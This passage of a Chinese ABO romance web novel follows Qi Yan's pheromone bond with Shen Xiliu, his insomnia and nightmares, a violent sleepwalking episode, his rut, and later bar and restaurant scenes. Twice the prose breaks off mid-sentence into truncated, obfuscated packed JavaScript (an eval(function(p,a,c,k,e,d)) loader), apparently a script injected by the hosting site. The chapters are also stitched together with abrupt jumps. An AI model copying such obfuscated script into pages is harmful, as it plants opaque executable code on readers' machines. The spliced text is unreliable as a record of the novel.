她的笑声就像开启了什么按键一样,所有人都哈哈大笑了起来:“老陈,你真的连上目线攻击都不知道吗?” “谁总爱说自己擅长百度搜索的啊?你就没搜出来吗?” “哈哈哈,陈不谦,你这家伙简直不堪一击!” “欸欸欸,难道只有我一个人好奇是谁对祁厌用了上目线攻击吗?” 酒吧里充满了快活的空气,有人好奇地凑到祁厌面前,问他是谁用了这招,居然能凑祁厌这么近的话,还故意在陈不谦面前提出来,那一定是有意思的omega吧? 徐浪浪嬉笑着问道:“祁厌,觉得对方怎么样?是不是很惹人怜爱?喜欢的omega每次对我用出这招,连我都很难招架住,想要我做什么,我都会稀里糊涂地点头答应哦。” 祁厌早已猜到他们会打趣自己,非常淡定地剥着荔枝皮道:“我和你可不一样……” “等等,以你的性格来说,该不会落荒而逃吧?”徐浪浪打断道,一个恐O的alpha确实和她不一样。祁厌看着和她差不多,但其实非常注意距离,要是哪个强势的omega逼近他,说不定会落荒而逃。 祁厌沉默一瞬,正要开口,徐哥犀利说道:“他停顿了二点五四秒,不太正常,看来果然被浪浪说中了,这小子落荒而逃了!” 祁厌唇角一抽,往嘴里塞了颗荔枝:“……” 我只是停顿一下,你可不要瞎说,还精确到两位小数,就有点过分了吧? “哇塞,祁哥,那人是谁,你快说出来听听?”游弋挤了过来,一脸兴奋。 “你们是不是太八卦了?”祁厌吃得开心,心情不错,一眼扫视众人,“人家只是凑得近了点,我刚才是故意逗陈不谦,怎么你们也这么当回事啊?” “真的吗?”正在看搜索页面的陈不谦蓦地抬起头,各种伤心、悲哀、绝望、期待等等表情交错在一张脸上,彰显人性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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祁厌先回家放了东西,才去医院。许是在酒吧说的话太让人在意,看完沈溪流没有多待,祁厌跟着沈云殊去办公室,查看沈溪流这两天的检查报告。 “越来越稳定了,不过情绪波动太大的时候,影响还是不小,全靠你的alpha信息素控制呢。”沈云殊跷着腿看数据,摸着下巴,表情很满意,“不愧是信息素匹配度100%的命运之人。” “所长,我和沈先生的信息素匹配度是99.98%。”祁厌提醒道。 沈云殊微笑看他:“这有什么关系呢?你明知道99%以上就是100%,命中注定的alpha和omega呢,如果要是放在几百年前,你们两个可是注定必须要结婚的,也就是现在时代不一样了。” 如果时代还是那个时代,在测出二人匹配度的时候,就会根据律法强制婚配,无论双方是否满意,反正把两人放在一起,自然就会产生化学反应,早晚会爱上对方。 至于这个“爱”是否是信息素诱导的,在沈云殊看来,根本没差,无需在意。毕竟所谓的爱情也不过是多巴胺分泌带来的愉悦兴奋,激素的产物罢了,没必要看得太高贵。 在祁厌还在看数据时,沈云殊突然冷不丁地开口问:“祁厌,你喜欢沈溪流吗?” 26. 第 26 章 “……” 祁厌没能回答这个问题,他不知道自己是否喜欢沈溪流,但他知道自己对沈溪流应该抱有好感。 偏偏这份好感在知道信息素匹配度后,变得出乎意料的复杂了。 “祁厌,你知道吗?alpha拥有的进攻性在你身上的存在感很弱。”沈云殊观察他半晌,见祁厌没有第一时间回答,继续开口说道。 “遇到了‘命中注定’的omega,不应该是你这样的表现。alpha是站在顶端的侵略者,天生的进攻型,占有欲极强,一旦遇见命定之人、受到敌人威胁之时,都会释放出最强的信息素压制对方,这是我们刻在基因里的本能。” 沈云殊推了推眼镜道:“不过我们好歹已经是能够称之为‘人’的生物了,而不是连原始本能都无法压制的发情动物。你没有做出这种行为我能理解,并且很欣赏,可是仍然存在问题。” “本能是可以控制,但不可能消失,就像是膝跳反应一样,可是你没有。”他的目光认真,让人难以直视。 “……”祁厌持续保持沉默,不知该如何解释。 “即使是我,当年遇到过一个信息素匹配度94.55%的omega,也没能控制好释放出信息素,对在场的所有人进行了压制。如果不是朋友及时赶到把我带走,几乎可以料到后面会发生什么事情,而且我们的信息素匹配度也不过是94.55%,远远不及你和溪流的匹配度。” 沈云殊意味深长地说:“祁厌,很久之前我就注意到了,你和溪流有一个习惯很像,就是总把信息素匹配度控制得近乎无。沈溪流是由于疾病的原因,所以戴着信息素抑制项圈,导致信息素管控比常人更严格,这点很正常。” “但你呢,你又是什么原因?我看过你的体检报告,一个正常的alpha是不可能将自己的信息素控制到这种病态程度,这不符合我们alpha的本能。” 即使不能随意释放信息素,但alpha身上也该带着少许没有攻击性的信息素,彰显自己的魅力,可祁厌的管理过分严格,一点信息素都没有。 “沈所长不是已经猜到了吗?”祁厌抬眼和他对视,身体没有问题,那出问题的地方只有一个了。 沈云殊笑着点点头:“确实猜到了,正是因为猜到,所以才觉得你更加不简单。” 作为一个心理出现问题的alpha,祁厌的身体和腺体都健康过头了。 “有一件事情我先道歉,我私下稍微调查了一下你的背景资料。”沈云殊道歉的表情,流露出一抹兴趣盎然。 “你高三的时候看过心理医生,而且还是何笙,这人我认识,在他们的领域里相当了不起,不知道他是怎么说的?” 祁厌诧异地看着他,沈云殊会调查他的身家背景在预料之中,毕竟要抽取他的信息素给沈溪流使用,以沈云殊的性格不可能光看他交上去的资料,私底下做些调查很正常,很符合沈家人谨慎的性格。 但祁厌没想到对方居然连何医生给他看过病,这种几乎没有外人知道的事情都被查出来了。 祁厌无奈一笑:“很简单,童年阴影,只要敞开心扉,接受一切就能走出来。沈先生你连这种小事都查出来了,那应该也知道我的家庭情况,遇到那种事情,有点心理疾病都很正常吧?” “确实如此。”沈云殊摸着下巴,他其实还有很多问题想问,却注意到祁厌看似平和的脸下,闪过一抹不易察觉的浮躁微表情,事情没这么简单,但继续说下去怕是对双方都不是好事。 万一让沈溪流知道,以他那小气护短又偏激的性格来看,肯定会报复他。 “嘛,咱们就聊到这里吧,不用把我的问题放在心上,只是随便探究一下,其实我对你们的感情并不关心。” 沈云殊微微一笑,岔开问题,看祁厌隐晦地松口气,眼眸微深,转头聊起沈溪流的病,准备调整接下来的治疗方针。 …… 沈云殊是个非常麻烦的人,听他说话,祁厌有一种已经被对方看透的感觉,好在对方没有继续说下去。 但沈云殊的话也逼得祁厌不得不正视自己存在的隐患问题——这么多年以来,他为什么会失眠? 其实答案一直很简单,因为他不想面对那些扭曲诡异的噩梦,所以身体本能选择失眠对抗噩梦,直到身体受不了,又再次陷入其中。 可为什么会做噩梦呢?何医生说与他的过去有关,因为见证了家庭破裂,见证父亲对母亲动手,见证母亲因信息素紊乱症失去理性,变得疯狂,恐惧自己会在未来走上同样的路…… 但真的是这样吗? 并不是。祁厌知道的,他的梦境里几乎没有父母出现,更多的是那个神秘omega,那人才是噩梦的核心。 ——“祁厌,你想治好病,就不能选择逃避。” 何医生曾经这样说过,但祁厌还是选择落荒而逃了。 坐在沙发上许久,祁厌拨打何医生的电话。 “嗯?这么晚打电话,祁厌,你妈妈情况怎么样?”对面很快接听了,习惯性地先询问祁厌母亲的情况。 “妈妈没事,是我想找您,何医生,我有一件事情想要和您聊一聊。”何笙是祁厌母亲十多年的主治医师,祁厌以前便经常因母亲的病和他聊。 何医生的笑声传了过来,非常温和轻柔:“但凡换个人和我聊天,我现在就要开始按时收费了,不过既然是你,就免费吧。这种时候打电话过来,是和你失眠问题有关吧?” 即使只在高三那年提过一次,后续就很少说到这个问题,但时隔这么多年,何医生依然敏锐地发现他的问题。 “……嗯,是的,何医生,我想说的就是这件事情。”祁厌慢慢说道,何医生是个很温和细心的人,并没有打断他的话,像个慈祥的长辈,静静地听他将最近遇到的事情都说出来。 虽然祁厌尽量以第三者的角度,不带感情地客观讲述自己遇到的事情,但是何医生仍然发现了他的问题:“所以,是那位omega让你想要从梦里走出来,对吗?” 祁厌靠在沙发上,仰头看着天花板说:“嗯,我好像无法拒绝他。” 何医生温和地说:“祁厌,你注意到吗?你不是‘好像’无法拒绝他,而是的确无法拒绝他。不是因为你们信息素匹配度高,也不是因为他给予你帮助,更不是因为他喜欢你,而是你自身对他很在意。” “祁厌,你不是一个会因为他人的想法而改变自己的人,如果你会因为对方改变,那么对方一定是对你很重要的人。” 失眠问题已经存在了七年,正常人根本熬不了这么久,偏偏祁厌熬了过来。无论失眠再厉害,他都没有想过来找医生治疗,可是他和那位omega才相遇多久?就已经想要解决这个问题,这难道还不够看清楚自己内心吗? “何医生,可是我依然不明白……”祁厌没把话说完,何医生已经知道他想说什么了。 “祁厌,感情没有你想象的这么复杂。”何医生说,“你并非优 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祁厌现在想起来,忍不住哂笑:“祁哥?呵,那家伙当时是想要说贵妃吧。” 有时候,听力太好,也不是好事。 【荔枝很好吃,谢谢^^】 祁厌拿出手机,给沈溪流发了条信息,对方几乎是秒回,他手指一顿,回完信息,让他早点休息,才将手机搁在桌上,进入浴室洗澡。 喜欢一个人,大概就是现在的心态吧? 无法拒绝,无法无视,无法置之不理。 那就只能正视感情,把握住这千载难逢的机会了。 带着这种想法入睡,祁厌闭眼思索,噩梦的核心吗? 我现在倒是想瞧瞧真相是什么,只有不逃避,才能解决问题。这样应该就可以走出冬天,迎接何医生所说的春天吧? …… “你说这都是信息素的诱导?” 他歪了歪头,露出那张温柔俊美的脸,桃花眼微弯,带着纯粹的笑意,手指间夹着一支香烟,缭绕烟雾,向来风流薄情的姿态,此刻却多了些真诚。 “或许吧,但我发自内心觉得他很可爱,第一次看到就夸张地理解什么叫做心动的感觉了。” “……” “别这么说,一见钟情和见色起意完全不同好吧。”黑色的眼眸相当认真,闪耀着细碎的光辉。 “……” “喜欢就是喜欢,要什么理由?信息素匹配度太高的错觉?哈哈信息素匹配度高,那不就是说明我们天生一对吗?真棒!” “……” “我信哦,我信命运论,别看我这个样子,其实我是命运派,理论派最麻烦了。”他支着脸,咬着香烟,一缕烟雾缓缓升腾,模糊那张俊美脸上的笑容,是难得的灿烂和阳光。 …… “……” “……滴答!” “……滴答、滴答!” “……滴答、滴答、滴答!” 滴滴答答的水声越来越响,手上传来陌生的麻木刺痛,沉睡的意识被唤醒。 祁厌倏然睁开眼睛,一片炫目晃眼的赤红,洗浴室的水混合着玻璃碎片流得到处都是,瓶瓶罐罐掉落一地,仿佛被人打劫扫荡过一样,满地狼藉,掌心传来尖锐的刺痛。 他抬眼一看,瞳孔骤然收缩,手心的玻璃碎片咔嚓一声砸落在地,眼前的镜子上写着血淋淋的扭曲红字—— 你会后悔的!!! 27. 第 27 章 一早起来,家里像是凶案现场,但凡不是监控临死前拍下动手的人,祁厌都得报警处理。 奈何,夜视监控清清楚楚地拍摄到了“他”对自己家进行扫荡毁灭的场景,甚至就连证据都留在手上了。 “我是被恶鬼上身了吗?”祁厌坐在沙发上处理伤口,电脑屏幕正在重播昨晚的恐怖梦游场景。 看完后,并评鉴道:“真可怕,吓死人了。” 因知道自己有梦游的习惯,祁厌搬过来的时候,就在屋里安装了监控,平时几乎没有什么动静,但这次真的是出乎祁厌的意料。 看着夜视监控下的自己像个阴森森男鬼从房间摇摇晃晃走出来,拿起椅子砸了很多东西。他站在黑漆漆的客厅中间,猛然回头看向监控的方向,直接突脸到镜头前,大笑着砸了监控摄像头…… 祁厌皱着眉头,陷入无声的沉默,身上的信息素不受控制地溢出,空气里弥漫着薄荷的味道,却无法让人头脑一凉,只会感到毛骨悚然。 alpha的信息素充满蛮横的侵略性,即使是清新的薄荷也带着一丝暴虐、强势。 “幸好我没买这么多家具,要不然就麻烦了。”不幸中的万幸,祁厌心想。 进入易感期的alpha烦躁不安,对外界具有攻击性,祁厌估计自己的易感期快到了,但没想到来得这么突然。不过也正常,他和沈溪流的信息素匹配度太高,不可能完全没有影响。 清醒过来以后,祁厌就立即给自己打了安抚剂,表面看似平和许多,但眼底的红血丝透露着他的躁动。失控的薄荷信息素几乎充斥整个空间,无法被压制,本能地渴求着omega的安抚。 这种状态的alpha是不能在外界走动,他本能敌视着alpha,渴望着omega,压制着beta,只能将自己隔离在屋内,甚至不敢多想omega,避免失控。 祁厌发现自己变得奇怪了,昨天才意识到的喜欢在不断地放大,膨胀的欲望几乎将他淹没。 alpha的本能在易感期期间显得格外嚣张,狂妄的占有欲和侵略性在内心发酵,促使祁厌去医院。 但这是不可以的,理智压制本能。那么就稍微降级一下吧,不去医院,可以去撬隔壁的门,钻对方的衣柜…… “住脑吧,变态。” 祁厌烦恼地摁着额头,阻止被易感期蛊惑的大脑思维跑到违法犯罪的边缘,感觉自己像个神经病。 什么人啊,还没确定关系就想撬人家门,钻人家衣柜,他以前怎么没发现易感期的alpha脑回路如此清奇呢? “每次到这种时候,真希望自己是个beta。”祁厌合上电脑,手机不停响,他打开手机,是魏学弟给他发的消息。 【哥,你放在生物实验室里的东西被人碰过了。】 本就不好的心情在这一刻,变得更加糟糕了,眼底一片漆黑。 祁厌原本已经请好假,准备在家里待到易感期结束,但现在看来不行了。 如果他是一个beta,根本不会遇到这种事情,祁厌不切实际地想着。 外界有一种说法,beta是分化失败的alpha和omega,是abo社会中最底层的存在。他们并非对信息素无感,依然会被alpha的信息素威胁压制住,也会因omega的信息素产生保护欲。 可他们没有易感期和发情期,就这一点,便足够让祁厌羡慕。现在是法治社会,abo性别根本无所谓,就算是被alpha信息素恐吓威胁,也可以报警处理,非常和谐。 又是想要成为beta的一天。 祁厌从冰箱里拿出冷藏的药剂,用针管抽取出来,给自己又扎了一针安抚剂和抑制剂,体内躁动的信息素变得安稳许多。 社会在进步,曾经的alpha一旦陷入易感期必须进行隔离一周左右,但现在只要使用药剂,做好措施,稍微出一下门,问题不是很大。 …… “如果要调监控的话,可能没那么容易。昨天使用生物实验室的人比较多,一直持续到晚上八点,中途还停电一段时间。” 魏学弟盯着祁厌拎进来的塑料袋,里面放着一盆盆栽,长长的绿色叶子从袋子边缘延伸出来,好像是一株兰花,祁厌什么时候有了养花的兴趣? “嗯,我知道了,麻烦你帮我注意了。”祁厌把自己的东西都检查了一遍,和魏学弟的发现一样,有人碰过了。 “哥,你的易感期是不是到了?”自祁厌进来以后,尽管坐在角落里,魏学弟还是嗅到了一丝丝的清新薄荷味,大脑很凉快。 beta对信息素不敏感,也不会被诱导,但他知道这是祁厌的信息素味道。 只要不是故意释放具有危险性的信息素,alpha的信息素大多都很温和,但此刻魏学弟却察觉到一股不适感。 祁厌不会故意释放攻击性的信息素,那就只能是他进入易感期,控制不好自己的信息素。 “嗯,是的,抱歉,看来控制得不是很好。”祁厌说着,便熟练地从兜里取出小瓶的信息素清除剂,往自己身上喷了喷。 这次易感期太强烈,打了安抚剂和抑制剂都没有控制好,祁厌不适地扯着衣领,看来不能在外面多待。 魏学弟慢吞吞地说:“这样啊,难怪你的脸色看起来不是很好,那早点回去休息吧。实验室这边,我和导师说一声,去调监控,或者问一下昨天在这里做实验的学弟学妹,如果有什么发现,会立即告诉你。” “谢谢,不过不用了。”祁厌的心情有些浮躁,并没有表现出来。 他将目光移动到了塑料袋里的盆栽上,叶杆上已经长出几朵还未盛开的花苞,顶上的一朵半盛开,带着淡淡的清新花香。 味道有点相似,但又不同。 “哥,你怎么突然想养兰花了?”魏学弟也看向那盆兰花,祁厌今天的注意力分散厉害,目光总是落在兰花,“变成兰友了吗?” “……没有,只是路过校门口那家花店,看见在做促销,就随手买了。”祁厌买了又后悔,情绪起伏比寻常更大,“要不送给你吧?” “不要。” 魏学弟拒绝,幽幽说道:“兰花难养,容易养死。哥,你自己拿回去吧,易感期少在外面走动,对其他人很不友好的。” 祁厌知道自己精神状况差,拎着盆栽就离开,思绪太乱的他,连路过的陈不谦和他打招呼都没看见。 “我靠,这个信息素的浓度,他易感期来了?!”陈不谦一进入实验室,就下意识捂住口鼻跳出去,同性相斥。 正站在实验室中间喷洒信息素清除剂的魏学弟看了过去:“看来alpha果然比beta更敏锐,我已经在清除了。” 不太正常,祁厌以前也在易感期外出走动过,但都没有这次夸张,打了好几针都没能控制信息素泄漏。 “学长,你知道他遇到什……” 魏学弟正想问一下陈不谦,就听到他蹲在门外狂笑起来,对着手机发语音:“哈哈哈,兄弟姐妹们,我跟你们讲啊!祁厌那家伙的易感期居然来了,而且信息素超可怕哎!” “我一进入实验室都快被熏到了,以他的习惯,肯定是打过抑制剂和安抚剂!这样都没有压制下来,说明这家伙脑子不纯洁啊!肯定在想怎么钻omega的被窝里,藏人家衣柜筑巢,以后谁再说他清心寡欲,我非得掰扯一下这事给他们说说……” 【欸?他易感期来了还去做实验吗?】 中午还是太早,酒吧群里没几个活人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话说得太暧昧,让omega忍受不了,冷冷瞥他一眼,苍白漂亮的脸上带着反感,眼下的三颗泪痣更衬得他清高傲慢,仿佛瞧不起任何人。 “选择这个姿势,仅仅是因为不用看你那张脸,别把自己当回事,真让人恶心。” 笑容消失了。 “靠!” 祁厌将手掌搭在路灯上,支撑身体,热得额头滚落汗水,玻璃划破的伤口阵阵刺痛。 为什么会把沈溪流的脸代入梦里人的脸,他已经失控到这种程度了吗?!果然不能继续在外逗留,得立即回家,赶紧度过这个糟糕的易感期。 祁厌快步走向校门外,准备打车回家,但刚走到道上,便不得不停下脚步。 几个高大威猛的保镖拦住他,用不容拒绝的语气开口道:“祁先生,我们易董请你一叙。” “不去。”祁厌没甚兴趣,面无表情地道。 如果换个时间,他不介意和生物学父亲叙旧,但此刻的他只想回家度过这难受的易感期。 然而保镖挡住他的路,强势地将手机塞到祁厌手里。易感期的alpha受不得任何挑衅,但是和这群人发生冲突没有任何好处,服下的药物和针剂在帮祁厌控制情绪。 他拿起手机放在耳边,正欲让易鸿立叫人滚远点,对方先开口了:“衍之,你说,如果你的研究成果被人抢先一步发表在学术周刊上,会怎么样呢?” 熟悉的、恶心的、带着威胁的声音响起。 “真不愧是你。”对上易鸿立这种人,被易感期影响的大脑都变得清醒,祁厌笑了起来,眼神冰冷。 “你想做什么?” 50-60 第51章 前世 不想做你们play的一环 “那家伙讨厌死了, 这辈子最好别让我逮住他,否则一定把他揍进医院!!!” 好,有志气。祁厌微笑为他鼓掌, 只要你下得了手。 有着一头酒红色长发的“女”omega气势汹汹地发言,一口干完酒, 把酒杯猛拍吧台:“祁厌, 你再给我来一杯长岛冰茶!” 祁厌劝说道:“你已经喝三杯了,最好别喝了。” 他特意把酒的比例降低,但对面依然醉了, 毕竟长岛冰茶的酒精度数就摆在那里了,江与青的酒量也摆在那里。 “别叫我大小姐,一叫我就来气!不想我生气, 你就赶紧给我他的联系方式, 我要找那个混蛋王八蛋!”江与青怒气冲冲地拍了两下桌,很快又醉醺醺地趴在桌上,泛着水光的眼眸染上醉意。 “他已经三年六个月又十二天一小时十二分钟……三十七秒没出现在我眼前了!” 江与青眯眼盯着自己手腕上有磨损痕迹的手表,精准读出距离他们上次见面的时间,气呼呼地抱怨说。 “明明以前不管是十二个情人节,还是我的生日, 相识纪念日、表白纪念日、在一起纪念日、结婚纪念日兼有孩子纪念日……他都会给我送礼物的, 但四天前的情人节没送……” “……” 听着他念叨, 祁厌心想, 所以一年三百六十五天都是你们的纪念日是吧? 还有, 什么叫结婚纪念日兼有孩子纪念日?请容许我反驳一下,那分明是过家家时,我给你们做“球”的倒霉日,这种说法太诡异了。 “嗝, 他再不出现,我就要去找A模玩个痛快了!”他穿着红裙,跷着长腿,伸手指向人群中玩得嗨皮的徐浪浪等人,“我要找个可以给特殊服务的!” 祁厌跟着看去,很有A模风范的朋友,正站在台上单手搂着omega的腰,倾身挑逗着羞涩脸红的小O,酒杯微微倾斜给她喂酒,暧昧的灯光流转在他们身上,这种画面充满风流放荡且充满蛊惑的刺激性,引得全场尖叫。 看起来好不正经,但他们的的确确是一家正规的酒吧。祁厌收回眼神,给他解释:“大小姐,那是……” “别叫我大小姐,叫我青青!”酒鬼鼓着脸,赌气打断说。 祁厌扶额,这不是你们二人说定的专属昵称,其他人一律不准叫吗?我不想做你们play的一环。 “快点!” “OK。”祁厌不和酒鬼一般见识,微笑道,“青青,那是我们酒吧的服务生,不给特殊服务的。”虽然看起来不像。 “切,无聊,那本小姐要去找能提供特殊服务的去了!”江与青哼哼两声,却没有动弹,而是趴在吧台,摇晃着酒杯里面的碎冰。 祁厌有些无奈,取出手机看那个被自己打了无数次的号码,始终没有打通。只能在一旁照看着,有一搭没一搭地陪江与青闲扯。 “小姐,一个人吗?要不要小哥哥陪你喝一杯?” 今晚很热闹,正在给其他客人调酒的祁厌很快听到江与青的位置传来一道声音,刚皱眉警惕看去,就听见江与青暴躁的声音—— “滚!离老子远点,再用色眯眯的眼睛看我一眼,小心老子给你上下爆头!” 江与青说着就伸手拿祁厌放在吧台的酒瓶,吓得正在凑近他的人立即后退,骂骂咧咧:“操,不就脸长得还行,装什么装啊,都到这种地方不就是想要被搭讪吗?假清高,真把自己当回事,也不看看自己是什么货色……” 江与青一眼瞥过去,冷笑:“怎么,你嘴里用开塞露了,兜不住了是吧?难怪没人看得上你,搭讪不成,就想贬低别人,抬高自己,维护你那没有的尊严?低级!” “你,臭婊子!”那人有些恼羞成怒地挥起拳头。 “来啊!你敢碰我一下试试?”江与青直接站起来,撩起裙子,一脚踩在椅子上,拿着酒瓶指他,“你这个荡夫!长得丑,就别出来报复社会,上不了档次的东西,少说话,别污了本小姐的眼睛!” “操,要不是这家酒吧禁止……妈的,你给老子等着!” 那人气得半死,又忌惮地看了一眼祁厌和酒吧的打手,恶狠狠地瞪江与青一眼,咬紧牙关,转身离开。 “没胆量的东西,”江与青翻了个白眼,压根不在意,低头看椅子,“害我把椅子都踩脏了,祁厌,给我张纸,再来一杯酒。” “好,你稍等。” 站在吧台里的祁厌给他递了一张纸和白开水,扭头对叶澄澄低声道:“澄澄,麻烦你帮我看他一下,别让他离开,也别让他喝酒,有事的话,就叫徐哥,我出去一下。” “哦,好的,祁哥,没问题。”叶澄澄看了一眼正在皱眉琢磨杯里是水还是酒的人,笑着对祁厌比了个没问题的手势。 “谢谢。”祁厌对他笑笑,就离开吧台。 他顺着刚才那人离开的方向走去,一路离开了酒吧,走到酒吧必过的小巷,听着对方骂骂咧咧,说准备找机会报复回去。 祁厌眯了眯眼,眼眸变得冰冷锋利。 …… “什么声音啊?” 穿着高跟鞋,依然大步往前走的人,听到角落里传来断断续续的痛苦呻.吟声。 祁厌跟在他身后:“不知道,可能是哪里的醉鬼在叫吧。” “嗯?一点都不像好吧,你是不是也学顾燕行那个混蛋骗我?”江与青猛地转身盯他,双手叉腰,一副不高兴的样子。 祁厌摇头:“没有的事,都是你的错觉,与青……” “叫我青青!” “好,青青,你住哪个酒店?” “不说,除了顾燕行那个混蛋,谁也不说!”他狠狠踹着电线杆,疼得嗷一声,弯腰捂脚,单脚跳了两下,“咔哒”一声,向前摔了个狗吃屎。 祁厌:“……” 神经病。他一把捂住脸,长叹一口气,为什么大半夜的,他要和陪一个酒鬼啊? 幸好今晚不用陪沈先生,要不然这么迟回去,肯定得被冷言冷语攻击。 顾燕行不在,祁厌不可能真把多年不见的发小丢在这里不管,只能扶起江与青,找到他的车,根据导航送他去酒店,对方疼得骂骂咧咧。 骂高跟鞋质量不好、骂电线杆不好踹、骂今晚遇到的神经病;骂祁厌不给他联系方式、骂顾燕行失踪三年六个月又十二天三小时四十分钟五十九秒;骂顾燕行不爱他、骂顾燕行肯定移情别恋、骂顾燕行抛妻弃子…… 作为被抛妻弃子的“子”,祁厌平静点头,啊对对对,你说得对…… 到了酒店,当着电梯小姐的面,江与青好像恢复了冷静,不再发酒疯,维持住耀眼美丽的形象。 “祁厌,你有喜欢的人吗?”他突然出声问道。 祁厌一愣,脑海里一闪而过某张脸,很快,他就轻轻摇头,像在自我欺骗一样:“……没有。” “没有吗?那真是幸运又不幸。” 江与青看着镜子里的自己发呆,低声喃喃:“现在没有也挺好,我给你个忠告,如果以后有了的话,你要记住,一定不要让他离开,半步都不要,否则,真的就再也找不到了……” 囚禁play吗? 不愧是从小看狗血剧长大的大小姐,祝福他早日抓到顾燕行,进行囚禁play吧。 祁厌把人送回酒店,就赶紧打车回去。 今晚耽误了些时间,最近沈溪流又搬到别的房子去了,距离相当远。假性标记进行到现在,已经不用每天都做,一个星期三次就行。 今晚不是约定好的日子,但明晚是,所以需要赶紧回去好好休息。 等祁厌回到沈溪流的房子时,已经凌晨三点半了。 祁厌放轻动作,即使房子很宽敞,不用担心吵到对方,他依然做贼似的蹑手蹑脚进屋。然而,没想到的是,他刚一进去,屋内的灯就啪嗒一声打开,扎眼的白光一瞬间照亮视线。 “太晚了!”坐在客厅的人,正拿着手机,冷冰冰地盯着他,阴沉的眼神给人一种像是被蛇盯住的冰冷危险感。 祁厌有些意外沈溪流居然还没睡,回过神来先对他好声说道:“抱歉,确实有点晚。不过合同里并没有规定我几点钟回来吧?” 唯一限定时间的条件是必须和沈溪流待够十二小时,但随着第二个合同的出现,这一条已经不用像之前那样遵守。 祁厌提前问过沈溪流,对方同意了废除这条,说确实可以,正好他也不想一天十二个小时都和恶心的alpha待在同一空间下。 双方完美达成协议,皆大欢喜。 可是现在沈溪流有些不悦了,尤其是祁厌和他擦肩而过时,一股淡淡的甜蜜香水味从鼻尖飘过。 “……” 想到派去的人发来的信息,沈溪流忽然朝他伸出了脚,猝不及防一下,绊得祁厌差点摔倒,好在他身体反应速度快,平衡能力好,踉跄几步,就稳定住身形。 祁厌刚扶住柜子,不明白他怎么回事,扭头看去,就听沈溪流冷漠的质问声响起:“祁厌,你别忘记合同第三页第十二条——合同期间,禁止和外人发生亲密接触,包括不限于身体接触,接吻、上床、做.爱……如果你违反条约,是逃不过我的眼睛。” 沈溪流最厌恶乱七八糟的事情,他不在意祁厌曾经做什么、是什么人,但很在意合同期间,背着他乱搞。 “沈先生,你不用强调,我不是傻子,合同期间会遵守好每一条规则。”祁厌无奈地抓了抓自己的头发,解释道,“或许我的工作容易让你产生误会,但违约金写在那,我没这个胆子,也不是没脑子的人,如果你不放心,大可安排人在我旁边盯着。” 又不是下半身控制大脑的人,非得玩火。 “最好是这样。”想着他进酒店的时间和出来的时间,的确不可能发生什么事情,但沈溪流依然反感,于是冷声道,“合同存续期间,别跟我耍花招,如果违约,代价是你无法承担的。” 确实难以承担,违约金很贵。 说完沈溪流就起身离开,祁厌出声留他:“沈先生,等一下。” 沈溪流停下脚步,冷漠漂亮的脸看起来有些不耐烦,让他有话快说,最好不是废话。 “你知道突然伸脚绊人很危险吗?”祁厌对上沈溪流的视线,对方气势很强,锐利到让人不想直视。 但他没有闪躲地回视,认真强调道:“稍一不注意,容易摔伤,甚至会划破脸,这件事,你该向我说声道歉吧?” 柜子就在前面,上面放着古董花瓶,如果砸下来,祁厌觉得挺危险,得提醒沈溪流一句。 “无聊。” 沈溪流对他的假设不感兴趣,转身回房间,一句轻飘飘的对不起,算不得什么。 对于他来说,完全不会把一个词看得多重,但今晚沈溪流没有任何心情和祁厌在这里演绎虚伪戏码。 “……” 祁厌站在原地不动,正在思考对方是怎么回事。 “我惹到他了吗?” 应该不至于吧,沈溪流压根没把他放在眼里。 第52章 前世 真没有谈恋爱吗 一家餐厅里, 沈溪流和沈湘婷、易扬正坐在靠窗的位置,这里的景色不错,沈溪流的心情也不错, 所以才会同意他们的邀请。 沈湘婷见状,好奇问道:“二哥, 我听哥哥说, 沈云殊叔叔不知道跑哪里去了,大家都在想办法联系他,但都没能联系上, 你知道这事吗?” “当然知道。”一说到沈云殊的事情,沈溪流的嘴角就情不自禁上扬,难得出现一抹堪称愉悦的笑容, 将这张显得清冷孤傲的面容衬托得没那么冷淡。 “少则三个月, 多则半年以上,他都不会再出现在国内了。” “诶?他要离开这么久吗?”沈湘婷惊讶地睁大眼睛,“难怪哥哥最近都没时间回来,原来是因为叔叔不在了,好多工作都落到他的头上,忙到都没时间回家, 甚至没和我打电话!” 易扬心思微微一动, 小心翼翼地问道:“沈哥, 沈所长不在研究所了, 那你怎么办?之前一直是他在负责你的身体状况吧?” “无碍, 我最近的身体状况好转许多。”沈溪流不喜欢别人打听他的事情,但现在的心情很好,也就没有表现出反感。 他的病正在逐渐好转,最讨厌的人也不在国内, 怎么能不算心情愉快呢。 但这份愉快只截止到看见一个熟悉的人走入餐厅。 先进来的是一名漂亮的混血omega,“她”有着一双蓝色眼睛,外貌精致张扬,酒红色的长发在后面飘扬,气质极佳。而跟在身后的alpha正微微倾身和“她”说话,温柔又带着无奈的表情,显得格外惑人。 alpha长得很出色,身姿挺拔,白色的不规则衬衫,错落有致的剪裁,形成独特慵懒美感,搭配着垂坠感很好的黑色风衣,衣角随着步伐摆动,简洁随性而不失时尚感,与身旁的omega好像是情侣装。 “大小姐,没有必要买这么多衣服吧。”随着走近,一道慵懒无奈的语调从alpha口中说出,有点撩拨人的宠溺感。 “我说有必要,就有必要,反正刷的也不是你我的卡,就放心地大用特用吧,我要让他变成穷光蛋。”omega有点任性强势,简单一句话就让alpha服输。 “哈,估计他也不怕。”本就是特意给你的。 祁厌哂笑一声,突然注意到几道难以忽视的视线,抬眸看了过去。 正好与坐在窗边的人对视上,神情一怔,就见到他冷淡地收回目光,仿佛什么都没看见。 这是不想被人发现他们认识? 祁厌熟练地领会沈溪流的意思。他们只是合同关系,等合同结束,就再也没有任何关系,所以在外面会假装不认识也正常。 不过倒是没想到沈溪流居然和易扬认识,还一副很熟的样子,看来顾燕行之前查出来的资料不准,但现在说这些没用了。 祁厌收回目光,碎发遮掩住的眉头微拧,打算无视他们。 结果易扬的声音响了起来:“江小姐,没想到居然在这里见到了你。”他站起身对着江与青打招呼,无视跟在他身旁的祁厌。 “诶?真是江小姐,真是好巧啊,没想到你居然回国了!”沈湘婷也有些惊喜过望,注意力都集中在江与青身上。 